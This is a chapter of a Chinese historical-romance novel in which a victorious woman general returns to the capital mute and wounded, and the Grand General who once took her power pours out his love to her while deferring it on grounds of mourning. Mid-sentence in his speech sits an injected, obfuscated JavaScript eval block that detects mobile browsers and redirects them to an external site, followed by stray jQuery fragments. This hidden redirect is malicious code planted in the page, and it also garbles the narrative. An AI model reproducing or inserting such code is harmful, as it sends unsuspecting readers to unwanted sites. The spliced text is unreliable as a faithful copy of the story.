永都南门外,京营戟士林立,幡旄在晨风中翻飞。
道旁百姓翘首以待凯旋之师。
官道尽头,烟尘如龙。
一面残破的帅旗刺破尘霭,其后是沉默行军的玄甲军团。将士们的环首铠与札甲板结血污尘土,从尸山血海中带出凛冽杀气,宣告着这是一支得胜之师。
全军静默,唯闻风卷旌旗之声。
至大将军萧道陵的九重麾盖前,王女青勒住乌骓,于十步之距翻身下马。
萧道陵按剑立于麾盖之下,玄色筩袖铠覆于紫袍,威仪天成。
她向他行以军中肃拜礼。
他并未端受全礼,而是大步上前,在礼毕前伸手扶住她。
目光扫过她苍白的面容,他迟滞片刻,继而声音沉浑,清晰传遍四周,“左将军力竭失声,其情可悯,其功更彰。陛下已悉,圣心甚为轸念。”
话音甫落,内侍宣旨:“陛下口谕——左将军临阵决机,战功卓著,朕心甚慰!念其鞍马劳顿,嗓音失宜,特赐乘御驾副车,直入宫门,恩准默觐!其余封赏,待有司核验后,于朝会颁行!”
御驾副车近于假黄钺,非百战殊功不可得。
默觐更是恩遇,既全了君臣相见的礼制,又体恤了臣子的难处。
王女青身形微顿,面向皇城方向深深一揖,而后在内侍搀扶下登车。
车驾缓缓启动。
萧道陵亦翻身上马,以大将军之尊亲自随行车驾之侧。
在震天的欢呼与无数复杂的目光中,这支队伍缓缓驶入城门。
永都城内,王女青的府邸与大将军府相隔不远。昔日,这处宅院与朝中诸多将领居所无异,门庭不悬匾额,只以坊里规制默示主人身份。她此前甚至从未住过,只在宫中文库将就。但今时不同往日,文库毁于战火,她也不再是备受帝后宠爱的羽林中郎将。皇位上坐着的,是血脉疏远的宗亲子侄。那是大将军的傀儡,既畏惧萧道陵,也对她噤若寒蝉。她如果还住在宫中,幼帝怕是要白日梦魇。
陌生的府邸。
一面新制的“骠骑将军第”黑底金字匾额高悬门首。
府内并未兴土木,仅将战火留下的残痕稍作修葺,里外都简朴刚硬。
烽烟未绝,国库空虚。宫中使者携来的赏赐清单上不见珠玉金银,唯有亲兵员额二百、御厩战马五十匹,并药材若干。但这远比财帛更为实际。
不日,太尉卫逵亲临府中。
作为王女青的舅祖与卫氏族长,见后辈功成身还,老人眉宇间难掩欣慰。因她喉疾失声,兼之失血神亏,老太尉未久留,临行前屏人低语:
“回来了就好。”他慈爱端详着她,“北境的将士们得知秦岭大捷,军心大振。你此战守住了永都,让前线再无后顾之忧。”
他话锋微转,带上了哽咽,“咱们卫家,在北境又送走了几个好儿郎。可血没有白流,仗快打完了。你母亲若在,必定以你为荣。舅祖也是。”
他语重心长,“国家不能再乱。舅祖知道你的委屈,但眼下务必以大局为重。你与道陵且保一时和睦。好生养着。朝堂上的事,有舅祖在。”
卫氏满门忠烈,更愿以大局为念。
萧道陵心领神会,旋即投桃报李。
数日后,朝廷明发诏令:追赠北境阵亡的卫氏子弟官爵,厚加抚恤;另从京营武库拔出一批精良甲械火速发往北境,优先补足卫氏军损耗。此举既是国家酬谢忠烈,亦是大将军对太尉稳局之意的明确回应。
诏令颁布的消息传入府中时,王女青正倚在榻上,望着庭中一树在风里翻覆的绿叶,老太尉的“大局为重”言犹在耳。
喉间灼痛依旧,她发不出任何声音。
不久,玄明真人到访。
真人照例絮叨,施针用药时,总不忘严厉斥责永都近来风气不堪,尤其对某些未婚却不知避嫌的行径深恶痛绝。他反复叮嘱她静心休养,言语关切。
一次治疗后,真人的声音低沉了许多,“青青,长乐门那日,你昏迷不醒,浑身是血。皇后给你的虎符……唉,老道我当时是真怕了。社稷倾覆,只在顷刻。道陵那孩子虽也伤着,却是当时唯一能稳住局面的人。”
他长长叹了口气,“老道没有护住你,反而在你最虚弱时,拿走了你拼死护住的东西,是老道对不起你。”
他目光复杂,终是摇了摇头,“至于道陵,他后来的混账事,老道我也看不下去!但那时那刻,老道能做的,唯有将皇后所托交到唯一能接住它的人手里。大局为重,青青,你莫要因此过于苛责自己,也莫要让恨意蒙了心。”
又一个“大局为重”。
隔日,军令送至府中。她获准重建旧部,将三百飞骑作为亲军。同时,内直虎贲被调离,只留下一人,虎贲督丘林勒。丘林勒转任骠骑将军府典军,负责府邸护卫、勘验兵符、传递军令,理所当然常驻府中,贴近她的一切行动。
但丘林勒早已在她面前无所适从,此番来报到时,紧张无法掩饰。她说不出话,示意他自己在府里找个地方住下。只因府里,除了她所居的正院尚算清静,其余广阔的房舍廊庑,甚至花园辟出的空地,都住满了兵士。厢房通铺鼾声相闻,连马厩都扩了又扩,每日早晚都是跑操号令与金柝之声,与京营无异。
初夏的夜,白日留下的暖意被清凉的晚风吹散。风将庭院中花木的气息送入敞开的窗内,四下里很静,只有风过叶梢的簌簌声与庭中虫鸣。
房中只点了一盏灯,烛火安静地燃烧,将人的影子拉得很长。空气里弥漫着沐浴后的气息,是沉静的木质香混合着极淡的花与草药,清冽悠长。
王女青刚沐浴完,坐在镜前,由内侍给她梳头。
萧道陵来了。
他进来时,脚步很轻。
他起先立在门边,身影被烛光勾勒出一个轮廓,而后才完全走进光里。
他穿着一身玄色道袍,袍服裁剪合度,将他的宽肩窄腰衬得分明。烛光掠过袍面时,能看到上面用银线织出的繁复暗纹。一道黑色抹额压着他的鬓角,更衬得他眉骨下眼神深邃。他的鼻梁很高,线条利落,唇线清晰,此刻正微微抿着。
内侍是宫中老人了,发现他以后,很快便寻个由头退下。
萧道陵走到她身后,并未立刻说话。
他在镜中与她对视,目光里藏着无法释怀的重压。
他拿起乌木梳,开始为她梳发。
王女青没有动,只是垂下眼帘,收敛了全身气息。那是武者在面对危险时的本能防御,也是作为皇室血脉在面对权臣时的政治警觉。
萧道陵感觉到了她的态度。
但他没有停手,动作更为轻柔,仿佛这样就能安抚她。
梳齿缓缓滑过她的长发,发出细微的沙沙声。
“幸好没有再脱发。”他声音低沉,“我记得从前也有这样一个夜晚,我们躲在廊下,看陛下为皇后梳头。”他目光变得幽深,“那时我心里想,以后,我便是陛下的样子,青青你,便是皇后的样子。”
话音落下的瞬间,空气凝固了,气氛近乎剑拔弩张。
但是,萧道陵视若无睹,继续为她梳理长发,“我没有来处,陛下待我如亲子。我所羡慕的,不过是陛下与皇后一世相守。我在大将军的位置上,已经很累了。你不要多想。”
他在她身后静静说着,全然不顾她神色的变化,“你已经长大了,拒绝我的守护,我自己其实也心有余而力不足。但你不在我眼前时,我总在担忧。青青,往后要好好走自己的路,无论我是否在你身旁。”
这是诀别般的嘱托。
他话音落地,王女青便扣住了他的手腕。
他反握住她的手,绕到她身前,单膝跪下,仰视着她。
“青青,我只想告诉你,陛下于我,与父亲无异。他走了,我与你一样失去了父亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803895|190727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。你说生平亲友凋零已多,未言之爱尽付劫灰。我也是。”
他的情感在重压和猜忌中早已被撕扯得粉碎。
王女青抬起另一只手,指尖触及他的脸颊,冰凉的手指抚过他温热的泪。他握住她的手,引向自己颈侧衣领之下,让她触摸那道陈旧的疤痕。
“那一年,在密道废墟底下埋着,我快死了。但我一死,你如何能不害怕。你抱着我,哭着咬我,说要吃了我活下去。这道疤,一直都在。”他声音低哑,喉结在她指尖下艰难地滚动,“青青,无论如何,这道疤是真的。”
指腹下的脉搏剧烈跳动,一下下撞击着王女青冰凉的指尖。
那是武者强劲有力的心跳,是他曾愿为她赴死的铁证。
指尖像是被烫到了,一直烧到了心里。
王女青的眼神逐渐融化。
萧道陵撑着扶手缓缓直起身,直到视线与坐着的她平齐。两人的距离被拉近到一拳之隔,光影在两人脸上摇曳。他抬起手,指尖悬在半空,带着微颤,极其克制地落在她的耳侧,拇指虔诚地托住了她的下颌。他的掌心和指腹都有薄茧。
王女青没有后退。
萧道陵的视线落在她苍白干涩的唇上。
然而最终,他只是轻轻搂住她,如同失而复得的珍宝。
“当年,我不敢回应。青青,你对丘林勒说,你美貌、勤勉,任你如何优秀,甚至可怜,都没有用,说我不爱你,还要践踏你的真心。但那个可怜的人其实是我。我英俊、勇敢,任我如何优秀,甚至随时准备为你而死,也没有用。因为我的出身,皇后不允,我的真心便毫无意义。”
未想,王女青闻此,推开他起身。
他迅速拉住她道:“不,青青,在淮北行宫,陛下高歌道陵青青,所有人都以为我们是天作之合。但我连看你一眼都不能。你可知忤逆皇后的下场?还记得桓渊吗?你定然记得!我并非畏死。只我如果死了,你会伤心。你也是爱我的。”
他再次拥她入怀,这一次抱得更紧,仿佛怕她下一刻就会消失。
“你回永都,我特意在宫门等你,你不理我,我很难过。后来在明德殿,你看着司马复。我同你说,但凡你想要的都可以得到。我是想说,如果你还要我,即便身死我也愿意。可你却说要我的内直虎贲。我当时多希望你说的是要我。”
他紧紧抱着她,安抚她的后背,“如果是因为三辅,你不必放在心上。她认为我并非良人,留在我身边只因有家难归。我留她则因为她是你的闺中密友,我不忍你回来时看到她已凋零,还因为年少时我无数次借她的名义才能留在你身边,我感谢她。她近日也来探望过,想必都与你说了。我若有半句虚言,不得善终!”
他解释得急切而琐碎,试图扫清两人之间所有的非政治障碍。既然政治上无法言明,即便言明也无法达成一致,至少在感情上,他已决定清清白白。他认命了,这是他这辈子都无法推开的人,他毫无办法。
他松开她,声音放得极轻,“青青,你把道陵想成一个没有来处的孩子。他孤独长大,遇见了心爱的姑娘,却必须分开。艰难盼得重逢,又被命运捉弄。你忍心让他一生都如此么?你爱道陵,定不忍心。”
言毕,他再次靠近,将额头抵在她的额上。
他闭上眼,缓缓说出凌迟自己的话。
“然而,陛下视我如亲子,我理应守孝三年。我对外只称一年,心里与你一样是要守足三年的。如今你我重聚,皇后在天有灵或有怒意,我更需守心以示虔诚。这便是我此刻无法与你在一起的缘由。这不是我不爱你,恰是因为太爱。我对你的心,如对天道,如对至真。望青青能解我之苦,能解我之心。”
守孝三年。
这是明显的借口和拖延。
但对他和王女青来说,意义南辕北辙。
王女青静静靠在他怀里,听着他强有力的心跳,没有说话。